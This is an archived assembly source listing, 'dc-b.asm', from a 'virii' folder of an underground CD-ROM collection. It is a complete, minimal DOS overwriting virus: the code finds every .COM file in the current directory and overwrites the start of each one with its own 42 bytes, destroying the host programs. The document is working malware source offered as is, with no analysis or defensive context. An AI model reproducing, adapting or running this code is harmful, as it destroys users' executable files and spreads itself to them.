home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dc-b.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  1.3 KB  |  56 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    DC-B                         ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   26-Dec-91                             ██
  16.  
  17. ;██      Passes:    5           Analysis Options on: none             ██
  18.  
  19. ;██                                         ██
  20.  
  21. ;██████████████████████████████████████████████████████████████████████████
  22.  
  23.  
  24.  
  25. data_009E_e    equ    9Eh
  26.  
  27.  
  28.  
  29. seg_a        segment    byte public
  30.  
  31.         assume    cs:seg_a, ds:seg_a
  32.  
  33.  
  34.  
  35.  
  36.  
  37.         org    100h
  38.  
  39.  
  40.  
  41.  
  42.  
  43. start:
  44.  
  45.         mov    ah,4Eh            ; 'N'
  46.  
  47.         mov    dx,offset data_0124
  48.  
  49.         int    21h            ; DOS Services  ah=function 4Eh
  50.  
  51.                         ;  find 1st filenam match @ds:dx
  52.  
  53. loc_0107:
  54.  
  55.         mov    ax,3D01h
  56.  
  57.         mov    dx,data_009E_e
  58.  
  59.         int    21h            ; DOS Services  ah=function 3Dh
  60.  
  61.                         ;  open file, al=mode,name@ds:dx
  62.  
  63.         xchg    ax,bx
  64.  
  65.         mov    ah,40h            ; '@'
  66.  
  67.         mov    cl,2Ah            ; '*'
  68.  
  69.         mov    dx,100h
  70.  
  71.         int    21h            ; DOS Services  ah=function 40h
  72.  
  73.                         ;  write file  bx=file handle
  74.  
  75.                         ;   cx=bytes from ds:dx buffer
  76.  
  77.         mov    ah,3Eh            ; '>'
  78.  
  79.         int    21h            ; DOS Services  ah=function 3Eh
  80.  
  81.                         ;  close file, bx=file handle
  82.  
  83.         mov    ah,4Fh            ; 'O'
  84.  
  85.         int    21h            ; DOS Services  ah=function 4Fh
  86.  
  87.                         ;  find next filename match
  88.  
  89.         jnc    loc_0107        ; Jump if carry=0
  90.  
  91.         retn
  92.  
  93. data_0124    db    2Ah
  94.  
  95.         db     2Eh, 43h, 4Fh, 4Dh, 00h
  96.  
  97.  
  98.  
  99.  
  100.  
  101. seg_a        ends
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.         end    start
  110.  
  111.